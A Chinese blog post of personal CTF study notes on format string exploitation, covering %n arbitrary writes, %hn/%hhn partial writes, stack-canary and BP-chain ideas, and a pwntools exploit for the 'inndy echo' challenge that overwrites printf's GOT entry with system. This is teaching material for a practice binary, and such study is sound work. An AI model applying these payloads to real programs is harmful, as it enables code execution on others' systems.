某大学社课(1):格式化字符串漏洞利用
最近pwn遇到瓶颈,考虑看一下某大学的社课系列,找一下感觉,顺便理一下思路之类的
写了三个小时博客,然后火狐崩溃了,我一直在博客园ctrl + s,但是最终一点东西都没了,真好
之前的不管了,今天白天再从任意地址写开始吧,悟以往之不谏,知来者之可追。
之前留存的几张截图
任意地址写
%n可以对任意地址写入值,写入的值是已经输出的字符数
输出为8
#include <stdio.h>
int main()
{
int a;
printf("aaaaaaaa%n\n",&a);
printf("%d\n",a);
}
任意地址写的payload
<addr>%100c%10$n
(32位下)向格式化字符串的第十个参数写入104
利用方法
更为常见的利用方法:比如要改写一个地址,用%c$n的方式会输出大量的字符串,我们通常会选择%hn(写入short大小的整数)和%hhn(写入char大小的整数),然后分多次来写入
即,单次printf多次写入
注意:之后每次%xxc必须减去前一个写入byte的值,因为%n是总输出字符数
类似printf的函数
__stack_chk_fail Hijack的利用方法
BP chain技术:利用连续的call 改 bp从而达到在栈上某个位置写入的目的
inndy echo
把printf的got的内容改为system的plt即可
from pwn import *
local = 1
binary = "./echo"
libc_path = '../libc-2.23_32.so'
port = "27562"
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
# arg location:7
# aaaa %p %p %p %p %p %p %p
libc = ELF(libc_path)
elf = ELF(binary)
printf_got = elf.got['printf']
system_plt = elf.plt['system']
print "[*] printf:",hex(printf_got) #0x804a010
print "[*] system:",hex(system_plt) #0x8048400
payload = fmtstr_payload(7,{printf_got:system_plt})
print len(payload)
print payload
p.sendline(payload)
# gdb.attach(p)
p.interactive()